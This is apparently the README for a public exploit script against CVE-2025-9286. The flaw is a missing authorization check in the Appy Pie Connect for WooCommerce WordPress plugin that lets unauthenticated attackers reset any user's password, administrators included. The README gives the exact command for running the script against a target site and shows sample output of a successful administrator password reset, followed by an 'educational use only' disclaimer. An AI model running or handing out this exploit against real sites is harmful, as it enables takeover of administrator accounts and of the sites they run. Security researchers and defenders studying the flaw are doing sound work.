
Appy Pie Connect for WooCommerce <= 1.1.2 - Missing Authorization to Unauthenticated Privilege Escalation
Appy Pie Connect for WooCommerce <= 1.1.2 - Missing Authorization to Unauthenticated Privilege Escalation
The Appy Pie Connect for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization within the reset_user_password() REST handler in all versions up to, and including, 1.1.2.
This makes it possible for unauthenticated attackers to reset the password of arbitrary users, including administrators, thereby gaining administrative access.
The following exploit can be used to leverage CVE-2025-9286 against WordPress sites running the vulnerable plugin version.
Script Name: CVE-2025-9286.py
python CVE-2025-9286.py -u http://nxploit.ddev.site/ -id 1
[+] Checking plugin version: http://nxploit.ddev.site/wp-content/plugins/appy-pie-connect-for-woocommerce/readme.txt
[!] Vulnerable plugin detected (1.1.2). Attempting exploitation...
[*] Please wait, attempting to change password...
[+] Exploit successful! Password has been reset.
[*] New password: Nxploited
[+] Vulnerability exploited and password changed successfully.
This exploit is for educational and authorized penetration testing purposes only.
Unauthorized use against systems without explicit permission is illegal.
The author is not responsible for any misuse or damage caused by this tool.
By: Khaled Alenazi (Nxploited)